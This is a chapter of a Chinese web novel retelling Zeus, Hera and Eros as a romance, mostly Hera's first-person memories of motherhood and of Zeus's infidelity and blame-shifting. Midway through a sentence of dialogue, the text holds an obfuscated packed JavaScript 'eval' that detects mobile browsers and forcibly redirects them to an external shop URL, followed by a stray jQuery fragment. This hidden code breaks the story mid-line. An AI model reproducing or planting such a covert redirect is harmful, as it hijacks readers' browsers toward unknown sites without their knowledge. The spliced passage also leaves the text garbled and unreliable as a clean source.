晚风温凉，卷着细碎的尘絮掠过荒芜郊野。
米诺厄斯坐在原地，宽阔臂膀稳稳抱着昏沉不醒的恋人。怀中人长睫垂落如静栖的蝶，面色苍白孱弱，眉峰皱起，似在梦中也不得安生。
感应到不速之客的气息，米诺厄斯敛尽眸中柔色，周身无形的神威骤然绷紧。
流转的晚风尽数静止，天地间所有声息统统消弭，一股源自混沌的古老威压笼罩四方。一道清寂悠然的身影，于虚空之中慢条斯理地凝形落地。
五大初始神之一，世间一切爱欲与情欲的化身，厄洛斯。
他身姿清绝挺拔，无悲无喜的眉眼间，藏着俯瞰万古的漠然与疏离。作为与大地、黑夜、深渊同源的创世元灵，世间诸神的纠葛、神王的权柄，于他不过转瞬即逝的闹剧。
厄洛斯缓步踱步，目光轻飘飘落定在米诺厄斯怀中的赛洛斯，唇角勾起一抹浅淡却极具戏谑的嘲讽笑意。
“稀奇，真是稀奇。”他漫不经心道，“谁能想到，我们至高无上的神王陛下，竟会抛下最看重的权势地位，困在凡间的儿女情长里。这般深陷执念、耿耿痴情的模样，当真新鲜。”
米诺厄斯，不，现在应该叫宙斯了。
宙斯眸底沉云翻涌，冷声道：“我的私事，轮不到你来多管闲事。即刻收回你的神力，勿要干涉你不该触碰的因果。”
厄洛斯闻言，低低轻笑出声，笑意不达眼底。
“多管闲事？”
他微微抬眸，本源神力荡漾，彰显着无上的创世权能：“宙斯，太迟了。”
“我素来随性，见不得执念缠身之人苦苦煎熬。我倒是好生可怜你，若赫拉永远封存记忆，独留你一人背负所有爱恨过往，岂不是太过凄惨？”
“我不过是随手行善，以初始本源之力，替他拂去神格封禁，让他忆起旧事，好同你再续前缘。”
“厄洛斯，你要与我为敌？”
“与你为敌？”厄洛斯立在旷野中央，身姿孤高超然，睥睨着眼前心绪大乱的神王，“倘若恢复神后的记忆也叫与你为敌，宙斯，你该明白，与你敌对的不是我，而是你自己的愧疚与心虚。”
“出于愧疚，你才在赫拉流入轮回后，毅然决定抛下奥林匹斯，跟随来到凡间保护他。出于心虚，你才一直不敢帮他恢复记忆，因为你害怕再度见到他失望的眼神与敌视的态度。”
“曾经亲密无间、形影不离的双生子，是如何沦落到比陌生人还不如的地步，我想没有人会比你自己更清楚答案。”
……
生下瑟默冬的那天，奥林匹斯下了一场金色的雨。
我躺在产床上，浑身湿透，汗水从额角淌进发根，沿着耳廓往下滴。
产房里站满了人，赫斯提亚、德墨忒尔，还有几个神职中带有医药的低阶神明。她们围着我忙碌，递毛巾、调药水、低声交谈……但那些声音都离我很远，我只看着一个方向。
——产房的另一头，瑞亚手里抱着一个襁褓。
“赫拉。”她把那个襁褓放在我怀里。
我低头，看见一张皱巴巴的脸，闭着眼、嘴巴微微张着。他的皮肤是粉白色的，深色胎发湿漉漉地贴着头皮，像刚从水里捞起来。
我看着他。
他睁开眼睛。
那双眼睛是金色的，和宙斯一样，和我一样。
瑟默冬在最初的几年里，几乎每天都在生病。
他先天不足，是从我的身体里带出来的毛病。孕期那场神格冲突基本上耗尽了我所有的神力，也耗尽了他本该继承的那部分天资。
他出生的时候，瑞亚看了他很久，然后说：“他活下来，已经很不容易了。”
我那时候没有听懂这句话的言外之意，后来我才明白，她是说，他活下来，已经很不容易了。至于他能活多久，那是另一回事。
我不愿去想那另一回事。
我抱着瑟默冬，在他半夜发烫哭醒的时候，光着脚在地毯上走来走去。我拍他的背，给他哼不成调的摇篮曲。他的手攥着我的手指，小小的、烫烫的，像在抓着他最重要的东西。
我祈祷命运不要那么残忍，因为他是我的血肉，是我用命换来的。我爱他，比爱这个世界上任何存在都要多，包括宙斯。
那段时间，宙斯经常来看我们。
他会站在寝殿门口，手里拿着从外面带回的小东西：一只纹路新奇的贝壳、一朵不会凋谢的花、一块颜色奇怪的石头……他把它们放在床头，然后坐下来，专注地看瑟默冬睡觉。
我看瑟默冬的时候，胸腔里涨满了一种几乎要溢出来的东西，又甜又疼。那东西让我可以连续几个晚上不睡觉，让我可以在他每一次咳嗽的时候心脏骤停，让我可以为他做任何事——任何事。
宙斯看瑟默冬的时候，是另一种眼神。我那时不明白两种眼神间有什么差别，后来才知道，这只是因为他并没有像我想象的那样爱我的孩子。
于是他渐渐来得少了，政务越来越多，他的身影出现在走廊尽头的时候越来越少。
有时候我一个人抱着瑟默冬，坐在窗边，看着外面的天色从金变橘、从橘变灰，然后彻底暗下来，也没有等到他推开那扇门。
我不怪他，因为我有瑟默冬。
只要瑟默冬还在，我胸腔里那块被填满的东西就不会空。我陪着他，一天一天地数他长大，他第一次翻身、第一次扶着床沿站起来、第一次叫“母亲”……那些时刻我全部都记得。
但婚姻神格的副作用，正在慢慢渗进我的生活。
我一开始没有察觉，等我察觉的时候，它已经长成了我身体里的一部分，像一根扎进肉里的刺。时间久了，肉自己形成一层薄薄的膜把它包住，以为不痛了，可是一按，还是会疼。
那种感觉，就像是全世界都在向我证明我有多不值得。
宙斯开始频繁缺席晚餐。
起初他还会提前派人来说一声，“神王今夜有要事，请神后先用膳”，后来便不说了。我坐在餐桌前，看着对面空着的椅子，面前的食物慢慢凉透。
我不知道自己为什么一定要等他，我明明可以先吃的，无论他在不在，我完全可以自己吃自己的。但我就是坐那儿等，等到最后连食欲都没有了。
那种等待的姿态，后来变成了一种习惯。
然后是“听说”——奥林匹斯的神明们私下议论，传到我的耳朵里。有人看见神王和某某女神在花园里说话，有人看见神王的马车停在某某神殿门口，有人说神王又去了凡间私会美少年……
我不信。
我告诉自己，宙斯是神王，他有很多政务要处理，他和女神的见面只是为了某件公事。那些流言蜚语，都是妒忌、是挑拨，是那些想看我笑话的人编出来的。
但后来我听说得太多了，多到我没有办法每一件都替他找到借口。
我第一次去质问他，是在瑟默冬三岁的时候。
“你是不是又去了？”
我看着他坐在桌前，抬眼看我时，表情没有意外，也没有心虚，只有疲惫。
“去了哪里？”他问。
“你说呢？”
他沉默了一瞬，放下笔：“赫拉，我是神王，有些事情是不可避免的——”
“哪些事情是不可避免的？”我打断他，“哪些事情是神王‘必须’要做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648425|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的？你倒是说给我听听。”
他看着我。
我也看着他。
我心里还有一点点希望，希望他会说“没有的事”、“你想多了”，哪怕只是一个谎言，我也愿意去相信。
但他没有。
他闭了一下眼，然后说：“我会处理的，你不要多想。”
那不是否认，而是一个承诺，承诺他会把那些事“处理”掉，但这个承诺本身就已经证明了事情存在。
我没有再追问，转身走了。
回到寝殿，走到摇篮旁边，我低头看着瑟默冬。他睡着了，呼吸平稳，小手握成拳头搭在嘴边，睫毛长长的，在脸上投下一小片阴影。
我弯下腰，伸手摸了摸他的脸：“没关系，我有你。”
我以为只要瑟默冬还在，我就可以承受任何东西。但婚姻神格的副作用，比我预想的更狡猾。
那天晚上，我站在窗边，瑟默冬在隔壁房间睡了。
宙斯走进来。
我听见他的脚步声，但是没有回头：“你来了。”
“嗯。”
“今晚去了哪里？”
“赫拉——”
“我问你，今晚去了哪里？”
他没有说话。
我转过身，看见他站在那里。他的衣袍领口有一块不太明显的折痕，像是被人扯过之后又抚平。
“宙斯，你还记得你说过的话吗？”
“你指哪一句？”
“你说过，你爱我。”
他的神情变了一下：“我是爱你的。”
“那你为什么还要去别人那里？”
“那不一样。”
“哪里不一样？”
他站在原地，没有靠近我，也没有后退。
“赫拉，”他说，“你有没有想过，是你让我变成这样的？”
我愣住了：“什么？”
“你每天都用那种眼神看我，怀疑的、审视的、等着我犯错的。你从来没有信任过我，你问我去了哪里、见了谁、做了什么……你每天都在怀疑我，而我——”
他顿了顿。
“而我被你逼得喘不过气。我出去见别人，一开始真的只是政务。但你越是这样盯着我、审问我，我就越不想回来，就越觉得‘反正你都已经认定我出轨了，我出不出去又有什么区别’？”
“你以为我为什么会变成这样？是你自己一手促成的。”
他看着我的眼神很平静，平静到残忍。
我站在窗边，夜风从窗外灌进来，扑在我脸上。有一团说不清道不明的东西，堵在我的喉咙。
我明明知道那些话不对，明明知道那是他把责任推给我的借口。但他的语气太认真了，认真到我开始怀疑自己——
是不是真的是我的错？
是不是我真的太敏感了？
是不是我真的逼他太紧、管他太多、让他喘不过气？
如果是我的错呢？如果真的是因为我，他才变成这样的呢？
我一句话都说不出来，那是我第一次感觉到，婚姻神格正在把我变成另一个人。
——一个会怀疑自己、会卑微乞求对方不要离开、会把对方的错误全部揽到自己身上的人。
“赫拉。”
“别说了，”我说，“你出去。”
他走了。
夜风吹干了我脸上不知什么时候流下来的泪，我胡乱抹了一把脸，走进隔壁房间。
瑟默冬还在睡，他像一只小兽蜷在窝里，对外面的风暴一无所知。
“母亲在这里，”我俯身，把脸轻轻贴在他的手背上，“母亲哪儿也不去。”